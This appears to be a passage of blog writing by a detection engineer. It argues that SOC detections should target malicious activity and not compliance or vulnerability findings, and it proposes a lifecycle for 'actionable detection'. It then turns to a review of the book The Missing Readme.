For example, consider a tool that monitors systems for configuration drift, like AWS Config. If it generates alerts about an S3 bucket lacking server-side encryption or an unencrypted EBS volume, how should the SOC respond? Often, the SOC ends up acting as a helpdesk, forwarding the alert to the system owner or cloud team. Meanwhile, the SOC could be investigating a ransomware incident or handling a flood of phishing emails. Should the SOC be responsible for these alerts? No 👎.

There’s a timing issue at play. SOC alerts are treated as ongoing incidents requiring immediate attention, while vulnerabilities and compliance issues may take longer to address due to the need for updates or bug fixes. It leads to different approaches. Detections are designed to trigger alerts in real-time, while vulnerability management and GRC are more about risk management and compliance over time.

Decision Framework

When evaluating a new detection request, I begin by understanding the use case. Key questions include:

• What threat actors are we trying to detect?
• What TTPs are we targeting (e.g., MITRE ATT&CK, Kill Chain)?
• Are there any IOCs that can aid detection?
• Have we implemented preventative measures to mitigate this risk?

These questions clarify the context and delineate the use case. If the request is unrelated to malicious behavior or adversarial tactics, it often pertains to a vulnerability or compliance issue. In such cases, I consider whether IOCs or data sources can enrich the SOC’s context.

For instance, vulnerability scanners are not ideal for creating detection alerts, but they are valuable for enrichment. They provide insights into internal assets, configurations, and vulnerabilities, which can enhance the SOC’s detection capabilities by improving risk assessment and understanding the environment. Therefore, it is worth ingesting their logs into the SIEM for context 👀.

Finally, I document my findings and discuss them with the team. Together, we evaluate the request and decide whether to proceed. If the detection is approved, we define requirements and priorities. If not, we document the rationale and provide feedback to the requester. In some cases, we may decide not to implement a detection but still ingest relevant logs for added context, like vulnerability scanners.

Bottom Line

To decide if a detection is worth implementing, it’s essential to understand the context and use case. Detections should focus on identifying and responding to malicious activities in real-time—they’re not the right solution for vulnerabilities or compliance issues. Other teams may intersect with Detection Engineering in similar ways, even if they weren’t mentioned here. Take the time to understand your InfoSec structure and build strong alliances with other teams to seamlessly route requests to the right place 💡.

As a Detection Engineer, you are responsible for your detection rules. Each new detection and data source consumes resources and can impact SOC performance. Implementing detections outside the SOC’s scope risks causing alert fatigue 😫, reducing team efficiency 📉, and misusing resources 💸.

By following a structured decision framework, you can ensure that implemented detections align with the organization’s security strategy and provide value to the SOC. Remember to document your decisions, seek peer feedback, and maintain clear communication with requesters. This approach helps the SOC stay focused on its primary mission: detecting and responding to malicious activities. ✌️

Common Problems

Let’s start by examining the common issues that plague detection engineering.

The most prevalent problem is noisy detections 🔊. High rates of false positives overwhelm the Security Operations Center (SOC), leading to alert fatigue. The causes of this issue are varied but often include poorly tuned rules and a lack of contextual enrichment, which negatively impacts investigations. Often, when analyzing a bad detection, I notice that its purpose is unclear and disconnected from any phase of the kill chain or threat model—ex.: TTP. It’s like someone’s dream that never came true.

When we look at the reason for a detection’s existence 🤔, it’s unfortunately not uncommon to find detections created as substitutes for preventive controls 💀. This is problematic because the root cause isn’t addressed, turning the detection into a pain point for the SOC—like an IDS exposed to the internet and sending all alerts to your team. Issues in the detection lifecycle are also common. Outdated or temporary detections left in production generate garbage alerts or, at best, consume resources unnecessarily. The same applies to overlapping or redundant detections that trigger on the same behavior or event (within the same scope), leading to duplicate alerts and wasted resources.

These problems create friction between the SOC and detection engineering teams, potentially eroding trust in the detection program. While automation 🤖 may seem like a good solution, it often ends up being a temporary fix—similar to sweeping dirt under the rug—by diverting resources to manage unnecessary situations. The real solution lies in addressing the root cause: improving the quality of detections and ensuring they are actionable.

Towards Actionable Detection

One of the first things I did when I started as a detection engineer was read 📘 Intelligence-Driven Incident Response. That was my first introduction to the concept of actionable intelligence. Over the past few months, while working closely with the CTI team to leverage MISP and other threat intelligence platforms, I started thinking about how I could apply this concept to Detection Engineering.

I believe that actionable detection is any detection that raises relevant, timely, and contextual alerts, calling the SOC to action for better security. From the outset, an actionable detection is not meant to replace preventive controls but to complement them. It is scoped to a specific kill chain phase or TTP, with a clear and solid use case or hypothesis in mind, directly linking to actions that mitigate malicious activity.

An actionable detection doesn’t overlap with existing actionable detections. Instead of just writing a new rule, the engineer reviews existing ones to avoid duplication. Actionable detection also has a defined lifecycle, with periodic reviews from conception to retirement, ensuring it evolves with the threat landscape and the organization’s security posture. These reviews ensure the detection remains relevant and that false positives and false negatives are kept at an acceptable level.

It’s important to note though that an actionable detection doesn’t need to be complex or perfect. You don’t need fancy correlations or enrichments to make it actionable. The key is to ensure it is relevant, timely, and contextual. Additionally, it’s important to remember that there’s no such thing as a perfect rule. Like any software, detections will have bugs and limitations—for example, it’d be naive to expect that any detection will fully cover a MITRE ATT&CK Technique (think of Procedures). You mitigate this by implementing a well-defined lifecycle and robust review process with complementary detections—see The Threat Detection Fundamental Dilemma.

Conclusion

Threat detection is a complex and challenging field—arguably the most complex within the SOC, in my opinion. After facing common problems in this area, I connected the concept of actionable intelligence to detection engineering. I believe that actionable detection is the path to making detections more effective and less painful for the SOC.

Keeping the concept of actionable detection in mind will guide you to create and maintain meaningful detections. Starting with a lifecycle process and emphasizing the conception phase will help you avoid common pitfalls, such as failing to define clear use cases or follow-up actions. By periodically reviewing your rules—not just the code but also their output and impact, such as the false positive rate—you can keep your environment clean and your SOC team happy.💡✌️

The Book

The Missing Readme is aimed at new engineers in the software engineering (SWE) field, but even computer veterans like me can benefit from it. Written by experienced engineers from specialized teams, this book is clearly grounded in real-world scenarios, often referencing past cases to illustrate its lessons.

However, the book goes far beyond technical aspects of SWE. It also serves as an excellent career guide, introducing readers to common practices in dynamic companies, such as performance cycles and Agile development. Keep in mind, though, that this book won’t teach you how to use Docker or showcase fancy command-line tricks. Apart from a few code snippets used as examples, the guidance operates at a higher level.

The authors frequently share personal experiences, which makes the material relatable and helps to demystify the challenges of SWE. It reassures readers that it’s okay to have doubts and make mistakes—what matters is learning to fail faster and with minimal impact.

The chapter structure is well thought out. Each chapter begins with a brief overview of what you’ll learn and concludes with a “dos and don’ts” list summarizing the best practices covered. There’s also a references section, but instead of merely listing sources, the authors explain what you can learn from each one. This thoughtful curation ensures only top-quality references are included, with helpful explanations guiding readers to the most relevant materials.

Impressions

I previously worked at an [almost] centennial company with a rigid hierarchy and process-heavy workflows rooted in the national landscape. Then, I transitioned to a 9-year-old company with a startup mentality, loose hierarchy, and a global perspective. In this new environment, I was inundated with terms like 1:1s, OKRs, and retrospectives. It took me weeks to adapt, but reading The Missing Readme beforehand would have made that transition much smoother.

As the title suggests, this book fills the gap by explaining the unwritten rules of working in global companies—things that are often assumed to be common knowledge but are rarely taught in college. Through a conversational writing style, the authors address technical concepts, workplace processes, and expected behaviors to help readers navigate corporate life effectively.

You’ll learn about best practices for version control, the importance of good documentation, and strategies for writing tests. Beyond the technical, the book also teaches you how to handle on-call duties, conduct meaningful 1:1s with your manager, and seek help from your peers. While the content is aimed at early-career professionals, it’s equally valuable for experienced engineers looking to align with modern workplace norms.

That said, for non-SWE professionals like me, some sections might feel tedious as they focus heavily on SWE-specific topics. This isn’t a flaw; just a heads-up that parts of the book may feel less relevant if you’re not immersed in SWE. My advice? Keep reading—it’s worth it!

I occasionally disagreed with the authors, particularly when they suggested overly structured documents or processes. For example, a rigid RFC template with too many sections might discourage people from creating new documents due to the perceived overhead. While not a major issue, it’s worth noting that such approaches might not fit every scenario.

Bottom Line

This book offers a structured overview of many things I’ve encountered throughout my career while introducing good practices I plan to adopt, like atomic commits (yes, I used to make massive, unwieldy commits) and better utilizing my preferred code editor. It also reinforced my commitment to note-taking—a habit I’ve embraced over the past year that has been a game-changer for me. (For the record, I use Obsidian. 🙂)

Overall, this book is a fantastic guide for improving both technical skills and workplace behaviors, helping readers grow more effectively and consistently in their careers. While programmers will gain the most from it, professionals like Infosec Engineers can also benefit, provided they adopt an SRE (Site Reliability Engineering) mindset. Think of SWE as the creators of software and SRE as the maintainers of the tools that get software into production—handling DevOps and CI/CD.

I considered sharing specific tips from the book, such as those on logging, testing, and cryptography. However, there are so many great insights that the best thing I can do is recommend the book wholeheartedly. It’s a smooth read and not too lengthy, making it both engaging and informative. The Missing Readme is a must-read for new engineers and a valuable refresher for seasoned professionals. Definitely worth your time! 🚀✌️